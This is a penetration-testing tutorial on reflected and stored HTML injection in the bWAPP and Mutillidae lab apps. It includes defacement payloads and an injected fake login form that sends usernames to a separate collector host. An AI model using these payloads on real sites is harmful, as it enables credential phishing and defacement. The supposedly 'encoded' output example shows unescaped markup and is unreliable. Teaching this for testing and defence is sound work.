You’ve learned about many types of attacks and vulnerabilities that can plague a web application. Attackers often exploit these weaknesses using various methods. For professionals in the field, it’s crucial to understand that good security testing is a fundamental part of prevention. As a penetration tester, your main objective is to find these vulnerabilities for your clients within their web applications.
What Exactly Is HTML Injection?
To begin, one key feature of HTML injection is that it’s relatively rare. Furthermore, it’s generally not considered as severe as more damaging attacks, such as Cross-site Scripting (XSS) or XML External Entity (XXE) attacks.
However, despite its lower severity ranking, HTML injection could be disruptive because it can deface a web site. This attack has the power to drastically change the visual appearance of the web site. While it cannot penetrate through the system and steal data or destroy the database, this part of security testing must not be skipped. A defaced web site’s appearance can severely damage your client’s reputation and image.
The following section will explore how to test for this vulnerability and, critically, how to prevent it.
The Hidden Risk: Phishing Attempts
A significant risk associated with HTML injection is that attackers may attempt to steal a user’s data by posting a fake login form. This is a form of phishing, where the attacker spoofs a legitimate-looking input form to trick users into submitting their credentials. Later in this article, you will see how to find such vulnerabilities in a virtual lab environment.
Key Points Summarized
The following key points summarize the nature of HTML Injection:
- HTML injection is essentially a rendering attack.
- The malicious HTML injection code is injected into a web page.
- The web site executes that HTML injection code and renders its contents for the end-user to see.
- It is often considered a subsection of Cross-site Scripting (XSS) attack because, in certain scenarios, it can lead to an XSS attack, making it far more dangerous.
Finding HTML Injection Vulnerabilities
HTML injection attackers typically test a web application by injecting arbitrary HTML code into an input field on a vulnerable web page.
To demonstrate, you’ll start your virtual lab by opening Kali Linux and the OWASP Broken Web Application (bWAPP). For the first test, you need the intentionally vulnerable bWAPP application.
Reflected HTML Injection
The bWAPP application provides a vulnerable login form page where you can intentionally enter any type of HTML injection code. The page will then execute and render the output. This is known as reflected HTML injection because the application immediately reflects the output back to the end-user.
The danger lies in the user’s ability to control the input point and inject arbitrary HTML code. This code might include malicious links, which could ultimately trigger more sinister XSS attacks. The attack is “reflected” because the HTML code is rendered based on the input that the user directly provides and controls.
As a penetration tester, you can test a client’s web application by injecting arbitrary HTML code. If the code reflects and is controlled by your input, the application is vulnerable. This vulnerability is a clear sign that the input forms are not properly sanitized (cleaned of potentially harmful code).
Practical Demonstration
Imagine entering your first name in the first text box. However, in the second text box, you enter a simple HTML code snippet like this:
<h2>You can add any HTML code here...
You will then see the reflected HTML injection in the output. The vulnerable web page executes the code and renders it in the lower part of the web page.
Intercepting Data with Burp Suite
To observe the process, open Burp Suite and, with the intercept feature turned on, allow the data to pass through it. Since the bWAPP application is intentionally vulnerable, the form data hasn’t been validated correctly. This allows the data that passes through the form fields to be read.
The following output captured by Burp Suite shows all the details about the POST data, including the cookie and session ID:
POST /bWAPP/htmli_post.php HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.2/bWAPP/htmli_post.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Cookie: PHPSESSID=n34706npi41did8c59klvta455; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; security_level=0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
firstname=sanjib&lastname=sinha&form=submit
This demonstrates how HTML injection occurs and how a web page can be visually defaced (its appearance damaged or altered). While this type of attack is focused on the appearance of a single page and may be considered less risky concerning the system’s valuable data or user information, it should still be included in penetration testing. Why? Because it could lead to a bigger attack. As just seen in the Burp Suite output, a vulnerable web page can expose a user’s session cookie. An attacker can use this information to launch a more dangerous XSS attack.
Stored HTML Injection: A Higher Risk
Next, you will examine how stored HTML injection works within the bWAPP application. This method involves the malicious code being stored in the database and then reflected to any user who views that page.
The fundamental difference between reflected and stored HTML injection deals with the risk level involved. The stored HTML injection is riskier and could be more unsafe. The reason for this increased danger will become clear shortly.
Injecting a Fake Login Form
Open the bWAPP stored blog page and enter simple HTML code in the text box. It will be reflected on the web page.
While a simple text reflection is minimal, a great danger lies in what happens if a malicious user enters a fake login form to submit other users’ credentials.
You are going to enter this simple HTML form that is designed only to take a username:
<form action="http://10.0.2.15:1234/test.html" method="get">
Username: <input type="text" name="username">
<input type="submit" value="Submit">
</form>
The aim here is to understand the core mechanism, so the form is kept simple. In a real-world scenario, a malicious actor might ask for more data from the user, luring them with false promises or benefits. Once the HTML form is submitted through that text box, it is reflected (rendered) on the web page.
Now, with the form successfully posted on the page, you will open Burp Suite, keep its intercept on, and try to capture the data that a user submits to that form.
You can enter any text into the new form that appears on the blog page. After entering a word and having Burp Suite’s intercept on, here is the output that Burp Suite captured:
GET /test.html?username=anything HTTP/1.1
Host: 10.0.2.15:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.2/bWAPP/htmli_stored.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
The Root of the Vulnerability
A significant number of vulnerabilities have been detected in the application. By examining the source code, you’d find that the HTML form has not been encoded properly.
<td width="90%">
**6** <br>
*sanjib*<br>
<small>2019-08-12 23:45:42</small><br>
<br>
<form action="http://10.0.2.15:1234/test.html" method="get">
Username: <input type="text" name="username">
<input type="submit" value="Submit">
</form>
<br>
</td>
If it were encoded correctly, the malicious input would be treated as plain text and look like this, preventing the form from rendering:
<td width="90%">
**6** <br>
*sanjib*<br>
<small>2019-08-12 23:45:42</small><br>
<br>
<form action="http://10.0.2.15:1234/test.html" method="get">Username: <input type="text" name="username"><input type="submit" value="Submit"></form>
<br>
</td>
Another crucial vulnerability is the way the data is transmitted: you can read the data in clear text on the URL (Uniform Resource Locator [web address]). This should have been encrypted. This lack of encryption is why Burp Suite is able to read the data quite easily and capture everything that has been submitted through the form.
If the HTML form submission process was properly encoded, the bWAPP application’s stored blog would reflect the web page like in. In this secure state, the attacker is no longer able to exploit that vulnerability.
Exploiting HTML Injection Further
Sometimes, a web application provides users with a separate interface to change aspects like color or fonts. The challenge for a developer is that they must use a form to accept these requests from the users. If your form data isn’t properly validated, encoded, or if HTML scripts aren’t stripped off, an attacker might seize the chance to deface the web site.
Reflected Attack in Mutillidae
For this test, you’ll use another intentionally vulnerable web application: mutillidae. Open the application and navigate to the web page where you can change the color of the page by submitting data. While changing the color of the page, you can inject HTML injection code and observe the result.
If this web page’s form data had been properly validated, you would not have been able to submit anything other than a color value. Since this application is intentionally vulnerable, you can inject HTML injection code, and it will immediately reflect the changed web page.
This time, the code is a bit tricky, requiring special characters to reflect the HTML injection effect alongside the color change:
"><H1 style="color:FF0000">This site has been HACKED</H1><"
The injection uses the closing tag (">) and then adds the HTML injection code (<H1 style="color:FF0000">This site has been HACKED</H1>) after the color value, followed by an opening tag (<"). This is another instance of reflected HTML injection.
Stored Attack with Moving Text
In the next demonstration, you will see how to inflict more damage on a stored blog page by adding some moving text to the page.
The code for the moving text uses the non-standard but often rendered <marquee> tag:
<h1>I am going to inject HTML code <marquee>This site has been hacked!</marquee></h1>
Figure 10-11 displays how the HTML injection code is added to the blog page.
The <marquee> element immediately starts working. In the blog page, the moving text appears over the other posts (Figure 10-12 and Figure 10-13).
Preventing HTML Injection
As mentioned earlier, HTML injection is not as risky as SQL injection (a topic for future discussion). However, a penetration tester must possess a strong understanding of web structure, particularly how the HTML language works.
The request and response cycle frequently depends on form inputs. Therefore, every input should be rigorously checked to see if it contains any script or HTML code.
The best solution is proper validation. Every major programming language includes functions for stripping tags. In all cases, no code should contain any special characters or HTML brackets—<, >, /, ", ', and &. The selection of the checking functions is typically the developer’s job, but a penetration tester must point out this necessary security measure in the proof of concept (PoC).
In the PoC, a penetration tester should also emphasize these unavoidable steps that will prevent HTML injection:
Sanitization and Content Security Policy (CSP): Sanitizing HTML markup with a proper library and implementing a Content Security Policy (CSP) are two vital factors that must be maintained for HTML injection prevention. (CSP is a security standard that helps prevent various content injection attacks, like XSS, by specifying which dynamic resources—scripts, styles, etc.—are trusted and allowed to load).
Escaping Characters: Include all types of escaping for characters, including HTML, JavaScript, CSS, JSON, and URLs. The fundamental rule is: never trust user input.
HTML Escape: The HTML escape function should be used before inserting user inputs into HTML element content. This rule applies to attribute escaping in common HTML attributes.
